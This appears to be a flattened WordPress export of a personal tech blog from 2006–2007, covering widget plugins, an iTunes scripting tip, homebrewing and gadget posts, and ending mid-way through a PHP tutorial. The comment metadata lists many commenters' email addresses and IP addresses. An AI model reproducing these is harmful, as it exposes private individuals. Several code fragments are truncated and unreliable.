http://www.ipodbuch.de 85.116.202.46 2006-11-22 15:07:08 2006-11-22 21:07:08 1 0 0 16 powerbomb72@yahoo.com 67.116.153.78 2006-11-22 14:38:26 2006-11-22 20:38:26 1 0 0 502 dsculp@cogeco.ca 24.36.45.2 2007-04-10 08:50:18 2007-04-10 13:50:18 1 0 0 503 otto@ottodestruct.com http:// 169.198.254.6 2007-04-10 09:36:29 2007-04-10 14:36:29 I can create a playlist of all songs in the main library OR the iPod but not make a playlist of the songs ON the ipod that gets stored in the main library. You're right. You can't do that. Internally, a "playlist" is nothing more than a list of pointers to the songs in the main library. This holds true whether it's on the iPod or in iTunes. So you can't make a playlist of songs in iTunes that points to songs on the iPod. That would not make any sense internally, and iTunes can't do anything like that. If you want to save the list of songs and playlists, save them to an external file as text or something like that.]]> 1 0 1 361 otto@ottodestruct.com http:// 169.198.254.6 2007-03-23 10:15:27 2007-03-23 15:15:27 var iTunesApp = WScript.CreateObject("iTunes.Application"); var sources = iTunesApp.Sources; var numsources = sources.Count; var iPodSource; for (i = 1; i < = numsources ; i++) { var kind = sources.Item(i).Kind; if (kind == 2) { iPodSource = sources.Item(i); break; } } Basically you just search through the sources looking for the one with a Kind of 2. Once you have the correct Source, then it's just like the LibrarySource, it has playlists, tracks, etc. All this is documented in the iTunes COM SDK. Google for it. ]]> 1 0 1 360 dsculp@cogeco.ca 24.36.45.2 2007-03-23 09:22:54 2007-03-23 14:22:54 1 0 0 528 dsculp@cogeco.ca 24.36.45.2 2007-04-13 07:05:28 2007-04-13 12:05:28 1 0 0 480 dsculp@cogeco.ca 24.36.45.2 2007-04-07 20:45:48 2007-04-08 01:45:48 1 0 0 481 dsculp@cogeco.ca 24.36.45.2 2007-04-07 20:47:08 2007-04-08 01:47:08 1 0 0 484 otto@ottodestruct.com http:// 75.64.210.176 2007-04-08 08:10:20 2007-04-08 13:10:20 var ITSourceKindIPod = 2; var iTunesApp = WScript.CreateObject("iTunes.Application"); var s = iTunesApp.Sources; var i; var ipod = 0; for (i = 1; i< =s.Count; i++) { if (s.Item(i).Kind == ITSourceKindIPod) ipod = i; } if (ipod != 0) { try { var source = s.Item(ipod); var tracks = source.Playlists.Item(1).Tracks; var numTracks = tracks.Count; NoArtPlaylist = iTunesApp.CreatePlaylistInSource("No Artwork", source); for (i = 1; i <= numTracks; i++) { var currTrack = tracks.Item(i); if ( currTrack.Artwork.Count == 0 ) NoArtPlaylist.AddTrack(currTrack); } } catch(er) { WScript.Echo ("Error trying to create playlist on iPod.. Are you sure it's in Manual mode?"); } } else { WScript.Echo ("No iPod found connected"); } ]]> 1 0 1
    Google Calendar Widget http://ottodestruct.com/blog/2006/google-calendar-widget/ Wed, 19 Apr 2006 01:35:58 +0000 http://ottodestruct.com/blog/2006/04/18/google-calendar-widget/ Note: This widget does NOT work with WordPress 2.1 and up. Don't bother trying.

    ————

    I created a new widget for my blog. It’s a simple little thing that shows stuff from my Google Calendar. You can find it as my “Upcoming Events” sidebar, bottom left. Okay, so it doesn’t have much there yet, I need to add stuff to the calendar. )

    Anyway, here’s a link to it: gcalendar

    If anybody has any suggestions on improving it, I’d love to hear ‘em.

    ——–

    Note: I’ve updated the widget to use Google’s Calendar API properly. But in order to do that, I had to modify Wordpress’s built in MagpieRSS functions rather heavily. So read the readme.txt file for installation instructions before attempting to use it. Failure to install correctly will break your blog. Heck, it might do that anyway. So read carefully. )

    ]]>
    30 2006-04-18 19:35:58 2006-04-19 01:35:58 open open google-calendar-widget publish 0 0 post 0 DiggURL http://digg.com/mods/Google_Calendar_Widget _geo_location , _utw_tags_0 no tags comment_count 51 trackback_count 11 btc_comment_counts a:0:{} btc_comment_summary a:0:{} 24 barry@lampesallume.com http://www.lampesallume.com 85.178.76.162 2006-11-28 15:40:24 2006-11-28 21:40:24 1 0 0 21 matt@holocenemusic.com http://www.holocenemusic.com 24.22.90.124 2006-11-27 16:14:33 2006-11-27 22:14:33 1 0 0 11 http://ottodestruct.com/blog/2006/04/28/30boxes-widget/ 64.202.163.158 2006-11-18 15:34:47 2006-11-18 21:34:47 1 pingback 0 0 31 alturo@gmail.com http://www.madridmemata.es 87.217.156.123 2006-12-02 04:54:38 2006-12-02 10:54:38 1 0 0 101 boris@thenextweb.org http://2007.thenextweb.org 80.126.96.54 2007-01-11 08:22:52 2007-01-11 14:22:52 1 0 0 98 muradh@gmail.com http://www.maldivesonlineguide.com 202.1.192.2 2007-01-08 10:26:48 2007-01-08 16:26:48 1 0 0 41 sdimbert@hbha.edu http://www.ramslive.com 65.28.73.219 2006-12-07 00:08:34 2006-12-07 06:08:34 1 0 0 42 otto@ottodestruct.com http:// 169.198.254.6 2006-12-07 09:51:04 2006-12-07 15:51:04 1 0 1 43 sdimbert@hbha.edu http://www.ramslive.com 24.106.53.66 2006-12-07 11:10:46 2006-12-07 17:10:46 1 0 0 47 otto@ottodestruct.com http:// 169.198.254.6 2006-12-08 12:02:50 2006-12-08 18:02:50 1 0 1 49 asa.comm@gmail.com http://mcgillarch.com/blog 66.131.100.83 2006-12-09 12:57:39 2006-12-09 18:57:39 1 0 0 74 torley@gmail.com http://torley.com 207.81.115.17 2006-12-29 14:51:51 2006-12-29 20:51:51 1 0 0 69 afranco@middlebury.edu http://www.adamfranco.com 140.233.190.102 2006-12-21 15:19:23 2006-12-21 21:19:23 1 0 0 162 J@Wormtown.org http://fashiondisaster.org 71.147.55.239 2007-02-05 17:23:20 2007-02-05 23:23:20 1 0 0 161 J@Wormtown.org http://fashiondisaster.org 71.147.55.239 2007-02-05 16:35:42 2007-02-05 22:35:42 1 0 0 157 mail@gryphonent.com http://blog.gryphonent.com/ 90.194.32.87 2007-02-03 13:30:01 2007-02-03 19:30:01 1 0 0 141 scottbdr@comcast.net 24.22.209.172 2007-01-27 12:41:55 2007-01-27 18:41:55 1 0 0 149 bob@revbobwood.com http://revbobwood.com 63.245.13.230 2007-02-01 05:06:26 2007-02-01 11:06:26 1 0 0 221 fred.greco@cckpca.org http://www.cckpca.org 69.22.6.56 2007-02-24 20:13:11 2007-02-25 02:13:11 1 0 0 312 http://www.interwebworld.co.uk/105/my-magnolia-bookmarks-for-march-14th-through-march-15th/ 64.111.110.28 2007-03-15 19:30:57 2007-03-16 00:30:57 1 pingback 0 0 245 do.not@bug.me 170.252.121.250 2007-03-01 02:43:20 2007-03-01 08:43:20 1 0 0 247 mmibobwood@gmail.com http://revbobwood.com 24.26.20.92 2007-03-01 13:09:53 2007-03-01 19:09:53 1 0 0 249 do.not@bug.me 170.252.121.250 2007-03-02 00:43:58 2007-03-02 06:43:58 to the page content now includes a list of events on that page. function add_calendar_to_content($content) { $tag_for_list = ''; // see whether the calendar should be included on this page $pos = strpos($content, $tag_for_list); if ($pos === false) { // tag wasn't found, so leave the content alone return $content; } else { $calendar_content = widget_do_gcalendar('http://www.google.com/calendar/feeds/... blah blah .../basic',50,'today','today + 1 year','','j\.n\.Y\: ',true,false); return str_replace($tag_for_list, $calendar_content, $content); } } // Add a HTML comment tag for placing calendar in the content - hardwired parameters add_filter('the_content', 'add_calendar_to_content');]]> 1 0 0 250 do.not@bug.me 170.252.121.250 2007-03-02 00:45:40 2007-03-02 06:45:40 '; $tag_for_calendar = ''; // see whether the calendar should be included on this page $pos = strpos($content, $tag_for_list); if ($pos === false) { // tag wasn't found, so leave the content alone return $content; } else { $calendar_content = widget_do_gcalendar('http://www.google.com/calendar/feeds/… blah blah …/basic',50,'today','today + 1 year','','j\.n\.Y\: ',true,false); return str_replace($tag_for_list, $calendar_content, $content); } } // Add a HTML comment tag for placing calendar in the content - hardwired parameters add_filter('the_content', 'add_calendar_to_content');]]> 1 0 0 259 vhamer@gmail.com http://topp.openplans.org 71.247.160.248 2007-03-03 15:16:46 2007-03-03 21:16:46 1 0 0 304 j.lefor@gmail.com http://www.fbcdublin.org/wp 208.40.35.164 2007-03-14 09:02:48 2007-03-14 14:02:48 1 0 0 237 ken@kpmartin.com http://www.kpmartin.com 64.131.4.74 2007-02-27 20:17:20 2007-02-28 02:17:20 1 0 0 276 http://blog.newyork-ubuntu.com/2007/03/07/interesting-little-note/ 64.22.69.26 2007-03-07 19:17:43 2007-03-08 01:17:43 1 pingback 0 0 365 http://www.politicalwarez.com/2007/03/index.html#000159 65.254.224.36 2007-03-23 15:24:28 2007-03-23 20:24:28 Google Calendar...again... After a hiatus, I have been working on a project that has me looking at platforms once again, and specifically, the tools necessary for advocacy and management of campaigns (no, I am not with a campaign this season). As I......]]> 1 trackback 0 0 298 bart@simpsons.com 63.93.245.2 2007-03-12 11:01:22 2007-03-12 17:01:22 1 0 0 366 http://blog.twomendesign.nl/2007/03/23/google-agenda-calendar-top-10-tips/ 194.126.173.26 2007-03-23 15:32:31 2007-03-23 20:32:31 1 pingback 0 0 506 http://googlisti.com/2007/04/11/guida-a-google-calendar.html 72.9.241.18 2007-04-11 03:05:02 2007-04-11 08:05:02 1 pingback 0 0 349 http://webworkerdaily.com/2007/03/22/rock-your-google-calendar-in-18-ways/ 72.232.131.13 2007-03-22 08:01:00 2007-03-22 13:01:00 1 pingback 0 0 576 mail@cjones.de http://www.jurafachschaft.de 132.187.173.175 2007-04-20 10:03:07 2007-04-20 15:03:07 1 0 0 624 nopublicemail@gmail.com 69.105.32.149 2007-05-01 14:01:33 2007-05-01 19:01:33 1 0 0 627 otto@ottodestruct.com http://ottodestruct.com 75.64.210.176 2007-05-02 01:07:30 2007-05-02 06:07:30 1 0 1 652 roberto@bytconsulting.com http://www.bytconsulting.com 81.37.229.222 2007-05-07 11:40:40 2007-05-07 16:40:40 1 0 0 604 addisonfun@gmail.com 76.187.191.41 2007-04-25 20:43:55 2007-04-26 01:43:55 1 0 0 705 dersimli-deniz@gmx.net http://www.produktnews.org 84.168.141.26 2007-05-12 18:32:09 2007-05-12 23:32:09 1 0 0 706 ken@kpmartin.com http://www.redeemerbaptist.org 208.110.232.188 2007-05-12 23:13:00 2007-05-13 04:13:00 1 0 0 928 ryan@slonewman.org http://www.slonewman.org/new 64.161.57.48 2007-06-08 17:25:39 2007-06-08 22:25:39 1 0 0 1230 info@cottrillcompass.com http://indevelopment 201.160.10.191 2007-07-04 15:17:39 2007-07-04 20:17:39 1 0 0 1915 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2007-09-19 15:10:12 2007-09-19 20:10:12 1 0 1 1542 foo@foo.bar 202.156.12.12 2007-08-12 09:36:49 2007-08-12 14:36:49 1 0 0 1912 bniece@gmail.com http://www.brianniece.com 68.220.5.20 2007-09-18 18:07:29 2007-09-18 23:07:29 1 0 0 1708 olivier.jolly@fage.asso.fr http://www.mes20ans.info 86.68.182.75 2007-08-24 09:24:56 2007-08-24 14:24:56 1 0 0 1664 http://xijio.com/blog/2007/08/21/wordpress-google-calendar/ 216.176.181.234 2007-08-21 02:50:36 2007-08-21 07:50:36 1 pingback 0 0 1960 akapisten@yahoo.no 195.18.144.58 2007-09-25 18:50:09 2007-09-25 23:50:09 1 0 0 1725 http://www.kinfrastructure.com/?p=22 208.113.204.22 2007-08-25 13:26:40 2007-08-25 18:26:40 1 pingback 0 0 1864 http://www.wp-plugins-db.org/plugin/google-calendar-widget/ 64.13.192.23 2007-09-07 07:04:54 2007-09-07 12:04:54 1 pingback 0 0 3483 bte@freenet.de http://www.derflash.de 77.179.53.88 2007-10-09 06:41:39 2007-10-09 11:41:39 1 0 0 3511 http://meustr.wordpress.com/2007/10/17/ricevere-al-cellulare-le-notifiche-de/ 66.135.48.162 2007-10-17 10:16:42 2007-10-17 15:16:42 1 pingback 0 0 4357 darkon@gmx.de 79.220.91.136 2007-12-18 01:42:12 2007-12-18 06:42:12 1 0 0 4358 darkon@gmx.de 79.220.103.129 2007-12-18 01:43:44 2007-12-18 06:43:44 1 0 0 4737 fif4ever@GMAIL.COM 96.229.226.249 2008-02-10 15:46:11 2008-02-10 21:46:11 repeating events from google calendar? Right now it skips right over those. Or even to specifically display only those events that repeat? Thanks! -Steven]]> 1 0 0 4738 jwise@jeremywise.net 66.184.53.18 2008-02-11 11:15:06 2008-02-11 17:15:06 1 0 0 3733 taufiq0177@gmail.com http://www.shaikhtaufiq.com/blog 202.156.12.12 2007-11-17 08:43:26 2007-11-17 13:43:26 1 0 0 4721 jjcutt@gmail.com 67.185.100.5 2008-01-26 10:46:09 2008-01-26 16:46:09 1 0 0 4744 pickture@gmail.com http://www.photricity.com 24.177.130.10 2008-02-21 11:24:36 2008-02-21 17:24:36 1 0 0 6008 diane@pfaeffle.com http://www.pfaeffle.com 66.82.9.87 2008-07-21 20:14:48 2008-07-22 01:14:48 1 0 0 6101 torley@gmail.com http://torley.com 207.81.115.17 2006-12-29 13:51:51 2006-12-29 18:51:51 1 0 0 6093 barry@lampesallume.com http://www.lampesallume.com 85.178.76.162 2006-11-28 14:40:24 2006-11-28 19:40:24
    echo $stuff[$iter]['content'];
    after
    echo $stuff[$iter]['title'];

    in gcalendar.php, but please someone correct me if I'm wrong.
    I also changed both to:

    echo htmlentities($stuff[$iter]['title']);
    echo htmlentities($stuff[$iter]['content']);

    which took care of some accentuated letter problems I had.

    Cheers!]]>
    1 0 0
    6445 luke@newrelease.co.za http://newrelease.co.za 196.41.124.8 2008-11-11 23:40:06 2008-11-12 05:40:06 1 0 0
    Coastr Widget http://ottodestruct.com/blog/2006/coastr-widget/ Fri, 28 Apr 2006 02:17:57 +0000 http://ottodestruct.com/blog/2006/04/27/coastr-widget/ Ran across Coastr yesterday while I was reading some blogs about beer. It’s kinda nifty. Very simple app. It lets you put what beers you like to drink and where you like to drink them and tells you other people who have similar tastes. The idea being that maybe you can find some new beers by looking at what other people who are similar to you like.

    I made a post on the guys blog about adding RSS feeds for the individual users, and to my surprise, he had it up and going the next morning. Very cool.

    So naturally, I made a widget for it. You can see it in my ever-growing sidebars somewhere (bottom right, at the moment).

    And so here it is: The Coastr Widget.

    Update: Version 1.1 adds some code to handle the beer names and such properly, so it won’t cause validation errors on your blog anymore.

    ]]>
    29 2006-04-27 20:17:57 2006-04-28 02:17:57 open open coastr-widget publish 0 0 post 0 DiggURL http://digg.com/offbeat_news/Coastr_Widget _utw_tags_0 no tags btc_comment_counts a:0:{} btc_comment_summary a:0:{} 148 http://www.easywordpress.com/labs/334/widget-display-favourite-beers-and-pubs/ 70.86.89.58 2007-01-31 14:01:49 2007-01-31 20:01:49 1 pingback 0 0 4592 mig3669@gmail.com http://KAPSCigarBar.com/bs 72.68.129.212 2007-12-31 05:19:38 2007-12-31 10:19:38 1 0 0 4631 mig3669@gmail.com http://KAPSCigarBar.com/bs 71.251.19.109 2008-01-11 04:34:59 2008-01-11 09:34:59 1 0 0
    30boxes Widget http://ottodestruct.com/blog/2006/30boxes-widget/ Fri, 28 Apr 2006 21:44:33 +0000 http://ottodestruct.com/blog/2006/04/28/30boxes-widget/ Narendra Rocherolle asked me to convert the Google Calendar widget into a 30boxes capable widget. No problem, it only took like 10 minutes.

    So if you use 30boxes and want a nice and simple Wordpress Widget for displaying events on your calendar, well, here you go: 30boxes Widget

    This is, of course, a first stab at it only. I can and probably will add more functionality to it (like start and end dates). But that can wait until later. Right now I need BBQ! D

    ]]>
    28 2006-04-28 15:44:33 2006-04-28 21:44:33 open open 30boxes-widget publish 0 0 post 0 _utw_tags_0 a:8:{i:0;O:8:"stdClass":1:{s:3:"tag";s:7:"30boxes";}i:1;O:8:"stdClass":1:{s:3:"tag";s:3:"BBQ";}i:2;O:8:"stdClass":1:{s:3:"tag";s:8:"calendar";}i:3;O:8:"stdClass":1:{s:3:"tag";s:11:"nosoapradio";}i:4;O:8:"stdClass":1:{s:3:"tag";s:3:"PHP";}i:5;O:8:"stdClass":1:{s:3:"tag";s:6:"widget";}i:6;O:8:"stdClass":1:{s:3:"tag";s:7:"widgets";}i:7;O:8:"stdClass":1:{s:3:"tag";s:9:"wordpress";}} _geo_location , btc_comment_counts a:0:{} btc_comment_summary a:0:{} 169 xoctopix@yahoo.com 216.78.84.53 2007-02-08 20:10:47 2007-02-09 02:10:47 1 0 0 239 tianjh@gmail.com http://www.apher.com/blog 58.15.40.12 2007-02-28 06:17:48 2007-02-28 12:17:48 1 0 0 733 http://www.dassnagar.net/custom_web_design_blog/?p=40 70.85.24.66 2007-05-16 05:39:34 2007-05-16 10:39:34 1 pingback 0 0
    Some inventions are just pure genius… http://ottodestruct.com/blog/2006/some-inventions-are-just-pure-genius/ Sun, 30 Apr 2006 07:26:12 +0000 http://ottodestruct.com/blog/2006/04/30/some-inventions-are-just-pure-genius/ Check this one out: The Lazydrinker

    It’s a modified portable cooler that is designed to hold, cool, and mix up to 16 bottles of beverages. Basically it pressurizes the bottles and uses that to pump the liqour out, which then goes into your drink. It therefore produces whatever drink you want on command. The mixer device is reprogrammable via a PC to put in your favorite mixed drinks, and the thing uses a CO2 tank to pump out the sweet, sweet candy.

    Some pictures:

    Lazydrinker interior Lazydrinker mixing output

    At $750, it’s a bit too expensive for my tastes. However, they offer a $550 DIY kit, which seems like it would be an excellent addition to a home bar. )

    ]]>
    27 2006-04-30 01:26:12 2006-04-30 07:26:12 open open some-inventions-are-just-pure-genius publish 0 0 post 0 _geo_location , _utw_tags_0 a:8:{i:0;O:8:"stdClass":1:{s:3:"tag";s:7:"alcohol";}i:1;O:8:"stdClass":1:{s:3:"tag";s:6:"cooler";}i:2;O:8:"stdClass":1:{s:3:"tag";s:3:"DIY";}i:3;O:8:"stdClass":1:{s:3:"tag";s:5:"drink";}i:4;O:8:"stdClass":1:{s:3:"tag";s:11:"lazydrinker";}i:5;O:8:"stdClass":1:{s:3:"tag";s:12:"mixed-drinks";}i:6;O:8:"stdClass":1:{s:3:"tag";s:7:"recipes";}i:7;O:8:"stdClass":1:{s:3:"tag";s:8:"St.-Pats";}} btc_comment_counts a:0:{} btc_comment_summary a:0:{}
    Brewing: Father’s Day Cream Ale http://ottodestruct.com/blog/2006/brewing-fathers-day-cream-ale/ Mon, 01 May 2006 02:01:33 +0000 http://ottodestruct.com/blog/2006/04/30/brewing-fathers-day-cream-ale/ I bottled my latest brew the other day, a Cream Ale. Basically it’s a Canadian Draft mix with some Northern Brewer Hops. I also have a Vienna Lager maturing and which I plan to drink next weekend.

    The only reason I’m posting about it is that after I was done bottling, I tried some of the yeasty flat leftovers at the bottom of the keg. By god, that stuff was delicious. It’s going to be a quality beer. I just hope I didn’t screw up the carbonation like I think I did. I keep waiting to hear a loud popping sound from one of the bottles exploding. Fortunately, I use a cooler for the storage, so it won’t hurt anything if it does blow.

    My next brew is going to be a Dopplebock. I’ve already got the ingredients, I just need to make bottle room. It looks to be a hell of a beverage, with three different kinds of malt extracts, a whole ounce of hops (instead of 1/4 ounce as per usual), and my first attempt at using liquid yeast. It also takes 6 months to bottle condition, so I’ll have it around October or November. But it’ll be about 9.2% ABV, so at least it’ll have a good kick to it. )

    ]]>
    26 2006-04-30 20:01:33 2006-05-01 02:01:33 open open brewing-fathers-day-cream-ale publish 0 0 post 0 _geo_location , _utw_tags_0 a:7:{i:0;O:8:"stdClass":1:{s:3:"tag";s:4:"beer";}i:1;O:8:"stdClass":1:{s:3:"tag";s:11:"beer-making";}i:2;O:8:"stdClass":1:{s:3:"tag";s:10:"fermenting";}i:3;O:8:"stdClass":1:{s:3:"tag";s:8:"homebrew";}i:4;O:8:"stdClass":1:{s:3:"tag";s:3:"kit";}i:5;O:8:"stdClass":1:{s:3:"tag";s:8:"Mr.-Beer";}i:6;O:8:"stdClass":1:{s:3:"tag";s:8:"St.-Pats";}} btc_comment_counts a:0:{} btc_comment_summary a:0:{}
    Wolfgang Puck is pissed! http://ottodestruct.com/blog/2006/wolfgang-puck-is-pissed/ Fri, 05 May 2006 15:34:47 +0000 http://ottodestruct.com/blog/2006/05/05/wolfgang-puck-is-pissed/ Heh. I blogged about those Wolfgang Puck self-heating coffee things about a year ago. Well, now it seems that they’re being recalled due to reports of some of them exploding and such. I’ve gotten them a few times since then, and never had any problems with them, but still, I can see how one in a thousand might have an issue. The things get very, very hot, and if you don’t open the can when it does get hot enough, it’s possible that it could overheat. Or possibly poor manufacturing and quality control is the cause. Whatever, the point is that they’re appearantly dangerous. )

    ]]>
    25 2006-05-05 09:34:47 2006-05-05 15:34:47 open open wolfgang-puck-is-pissed publish 0 0 post 0 _geo_location , _utw_tags_0 a:4:{i:0;O:8:"stdClass":1:{s:3:"tag";s:6:"coffee";}i:1;O:8:"stdClass":1:{s:3:"tag";s:6:"recall";}i:2;O:8:"stdClass":1:{s:3:"tag";s:16:"self-heating-can";}i:3;O:8:"stdClass":1:{s:3:"tag";s:13:"wolfgang-puck";}} _utw_tags_ a:4:{i:0;O:8:"stdClass":1:{s:3:"tag";s:6:"coffee";}i:1;O:8:"stdClass":1:{s:3:"tag";s:6:"recall";}i:2;O:8:"stdClass":1:{s:3:"tag";s:16:"self-heating-can";}i:3;O:8:"stdClass":1:{s:3:"tag";s:13:"wolfgang-puck";}} btc_comment_counts a:0:{} btc_comment_summary a:0:{}
    Whole body pain http://ottodestruct.com/blog/2006/whole-body-pain/ Mon, 08 May 2006 18:58:07 +0000 http://ottodestruct.com/blog/2006/05/08/whole-body-pain/ Is this some sort of consequence of being 30 again? This post-drinking weekend whole body pain thing? Because if it is, then I’m going to have to start researching high quality medications again. My ankle is hurt, the muscles in my back are strained, I can’t turn my neck… all because of the music festival.

    To make it even more fun, my A/C and icemaker both chose this weekend to stop working for no appearant reason. So it was like 85 in my apartment all weekend. That tended to drive us outside and drink, though, so in that respect it wasn’t so bad. I’ve fixed the icemaker now, they’re fixing the A/C today.

    Anyway, it was a good show. I enjoyed Cake and Blues Traveller a lot. Yellowcard was surprisingly good when they did a Weezer cover. I sat around the Blues Tent for a few hours on Sunday and enjoyed some beer and blues from several artists as well. Also ate a lot of BBQ. So it was good weekend in that respect. Beale Street was fun and had a lot of interesting characters. One dude we saw walking around dressed up as Gene Simmons ended up on the front page of the Sunday paper. )

    So it was fun. But I still need to find drugs.

    ]]>
    24 2006-05-08 12:58:07 2006-05-08 18:58:07 open open whole-body-pain publish 0 0 post 0 _geo_location , _utw_tags_0 a:13:{i:0;O:8:"stdClass":1:{s:3:"tag";s:7:"alcohol";}i:1;O:8:"stdClass":1:{s:3:"tag";s:5:"bands";}i:2;O:8:"stdClass":1:{s:3:"tag";s:4:"bars";}i:3;O:8:"stdClass":1:{s:3:"tag";s:3:"BBQ";}i:4;O:8:"stdClass":1:{s:3:"tag";s:12:"Beale-Street";}i:5;O:8:"stdClass":1:{s:3:"tag";s:5:"blues";}i:6;O:8:"stdClass":1:{s:3:"tag";s:5:"brews";}i:7;O:8:"stdClass":1:{s:3:"tag";s:12:"gene-simmons";}i:8;O:8:"stdClass":1:{s:3:"tag";s:6:"liqour";}i:9;O:8:"stdClass":1:{s:3:"tag";s:7:"memphis";}i:10;O:8:"stdClass":1:{s:3:"tag";s:14:"Memphis-in-May";}i:11;O:8:"stdClass":1:{s:3:"tag";s:5:"music";}i:12;O:8:"stdClass":1:{s:3:"tag";s:4:"ribs";}} btc_comment_counts a:0:{} btc_comment_summary a:0:{}
    40 years of X-Men http://ottodestruct.com/blog/2006/40-years-of-x-men/ Fri, 19 May 2006 19:28:37 +0000 http://ottodestruct.com/blog/2006/05/19/40-years-of-x-men/ x-menCheck this out. Yeah, that’s all forty years of X-Men, on DVD, in a printable format, for only $40. (Update: $33 now!) 485 comics. 17,500 pages. How freakin’ awesome is that? There's also a version that comes with the Ultimate X-Men on DVD as well. It's $50 for the bundle of both of them. Here's a link to the bundle. Seems like a hell of a good deal, for an X-Men fan (like everybody should be!).]]> 23 2006-05-19 13:28:37 2006-05-19 19:28:37 open open 40-years-of-x-men publish 0 0 post 0 _geo_location , _utw_tags_0 a:5:{i:0;O:8:"stdClass":1:{s:3:"tag";s:7:"awesome";}i:1;O:8:"stdClass":1:{s:3:"tag";s:5:"comic";}i:2;O:8:"stdClass":1:{s:3:"tag";s:6:"marvel";}i:3;O:8:"stdClass":1:{s:3:"tag";s:5:"x-men";}i:4;O:8:"stdClass":1:{s:3:"tag";s:4:"xmen";}} btc_comment_counts a:0:{} btc_comment_summary a:0:{} Quagmire USB Drive http://ottodestruct.com/blog/2006/quagmire-usb-drive/ Mon, 22 May 2006 04:05:20 +0000 http://ottodestruct.com/blog/2006/05/21/quagmire-usb-drive/ Okay, so I posted about the Homer USB drive, which was so simple that I hesitate to call it a hack. This is basically the same thing. Guy took a Quagmire bobblehead and stuck a USB drive in it.

    Still props for Quagmire. Giggity.

    read more | digg story

    ]]>
    22 2006-05-21 22:05:20 2006-05-22 04:05:20 open open quagmire-usb-drive publish 0 0 post 0 _geo_location , _utw_tags_0 a:7:{i:0;O:8:"stdClass":1:{s:3:"tag";s:10:"bobblehead";}i:1;O:8:"stdClass":1:{s:3:"tag";s:5:"drive";}i:2;O:8:"stdClass":1:{s:3:"tag";s:10:"family-guy";}i:3;O:8:"stdClass":1:{s:3:"tag";s:5:"flash";}i:4;O:8:"stdClass":1:{s:3:"tag";s:7:"giggity";}i:5;O:8:"stdClass":1:{s:3:"tag";s:8:"quagmire";}i:6;O:8:"stdClass":1:{s:3:"tag";s:3:"usb";}} btc_comment_counts a:0:{} btc_comment_summary a:0:{}
    Happy Towel Day! http://ottodestruct.com/blog/2006/happy-towel-day/ Thu, 25 May 2006 14:59:02 +0000 http://ottodestruct.com/blog/2006/05/25/happy-towel-day/ A towel is about the most massively useful thing an interstellar hitch hiker can have. Partly it has great practical value - you can wrap it around you for warmth as you bound across the cold moons of Jaglan Beta; you can lie on it on the brilliant marble-sanded beaches of Santraginus V, inhaling the heady sea vapours; you can sleep under it beneath the stars which shine so redly on the desert world of Kakrafoon; use it to sail a mini raft down the slow heavy river Moth; wet it for use in hand-to-hand-combat; wrap it round your head to ward off noxious fumes or to avoid the gaze of the Ravenous Bugblatter Beast of Traal (a mindboggingly stupid animal, it assumes that if you can’t see it, it can’t see you - daft as a bush, but very ravenous); you can wave your towel in emergencies as a distress signal, and of course dry yourself off with it if it still seems to be clean enough.

    More importantly, a towel has immense psychological value. For some reason, if a strag (strag: non-hitch hiker) discovers that a hitch hiker has his towel with him, he will automatically assume that he is also in possession of a toothbrush, face flannel, soap, tin of biscuits, flask, compass, map, ball of string, gnat spray, wet weather gear, space suit etc., etc. Furthermore, the strag will then happily lend the hitch hiker any of these or a dozen other items that the hitch hiker might accidentally have “lost”. What the strag will think is that any man who can hitch the length and breadth of the galaxy, rough it, slum it, struggle against terrible odds, win through, and still knows where his towel is is clearly a man to be reckoned with.

    A tribute to Douglas Adams (1952-2001)

    ]]>
    21 2006-05-25 08:59:02 2006-05-25 14:59:02 open open happy-towel-day publish 0 0 post 0 _geo_location , _utw_tags_0 a:7:{i:0;O:8:"stdClass":1:{s:3:"tag";s:3:"dna";}i:1;O:8:"stdClass":1:{s:3:"tag";s:10:"dont-panic";}i:2;O:8:"stdClass":1:{s:3:"tag";s:13:"douglas-adams";}i:3;O:8:"stdClass":1:{s:3:"tag";s:6:"hhgttg";}i:4;O:8:"stdClass":1:{s:3:"tag";s:11:"hitch-hiker";}i:5;O:8:"stdClass":1:{s:3:"tag";s:10:"hitchhiker";}i:6;O:8:"stdClass":1:{s:3:"tag";s:5:"towel";}} btc_comment_counts a:0:{} btc_comment_summary a:0:{}
    Fun with PHP and Wordpress http://ottodestruct.com/blog/2006/fun-with-php-and-wordpress/ Fri, 26 May 2006 07:21:05 +0000 http://ottodestruct.com/blog/2006/05/26/fun-with-php-and-wordpress/ here asked how to display hockey scores on his blog. Here?s my solution? Edit: Fixed a minor problem with the regular expression. Some of the soccer team names caused problems on that feed. A quick googling tells me that exactscores.com seems to have feeds for scores for lots of stuff, however they also put horrible amounts of advertising into the RSS feed. Nevertheless, that can be worked around, if you want. ) The actual score information in the feeds comes in the titles, and it looks like this: (No)001/1 (BST+2h,Start at)03:00 (Home Team)EDM OILERS (Final)3-6 (Away Team)ANA MIGHTY DUCKS (Status)Finished (First Period)0-3 (Second Period)3-2 (Third Period)0-1 (Full Time)3-6 (Over Time)- (Penalties)- (Scorers)LUPUL(19) Now, that is pretty ugly. But, at least it?s in a semi normalized format: (Key)Value? The Scorers at the end isn?t pretty, but we can deal with that later. Also, thankfully, the actual scores in all the ones I checked always start with (No), so we can use that to determine which bits of the feed are actual scores and which are not. So here?s a simple script to retrieve a feed and then display only those bits that start with (No):
    < ?php
    require_once(ABSPATH . WPINC . '/rss-functions.php');
    $rss = fetch_rss('http://www.exactscores.com/HockeyLivescoreRss.xml');
    echo '
    
      '; foreach ($rss->items as $item ) { if (preg_match('/^(No).*/i',$item['title'])) echo '
    • '.$item['title'].'
    • '; } echo ''; ?>
    Obviously, the output of this is ugly, but it proves that we?re only getting scores out of the feed. So, now we need to parse that string and get more useful data out of it. Here?s where preg_split and some rather disturbing regular expression syntax is your friend?
    $uglyscores = preg_split('/^(([^)]*))[^s]|s(([^)]*))[^s]/',
    	$item['title'], -1, PREG_SPLIT_DELIM_CAPTURE);
    I called it $uglyscores for a reason. This returns an array with the bits of the scores nicely parsed out, but because of the regular expression I used, there?s a blank string between each pair of data, so let?s reformat this mess into something nicer:
    $i=1; // skip the first element
    $scores = array();
    while ($i
    This gives us a nice array of elements that we can then reference by the key names. So we can use stuff like $scores[?Final?] and such.
    
    So now that we don?t have to display everything, let?s put it all together. Here?s a combination of all of the above that outputs the two teams and the final score only:
    
    < ?php
    require_once(ABSPATH . WPINC . '/rss-functions.php');
    $rss = fetch_rss('http://www.exactscores.com/HockeyLivescoreRss.xml');
    echo '
    
      '; foreach ($rss->items as $item ) { if (preg_match('/^(No).*/i',$item['title'])) { echo '
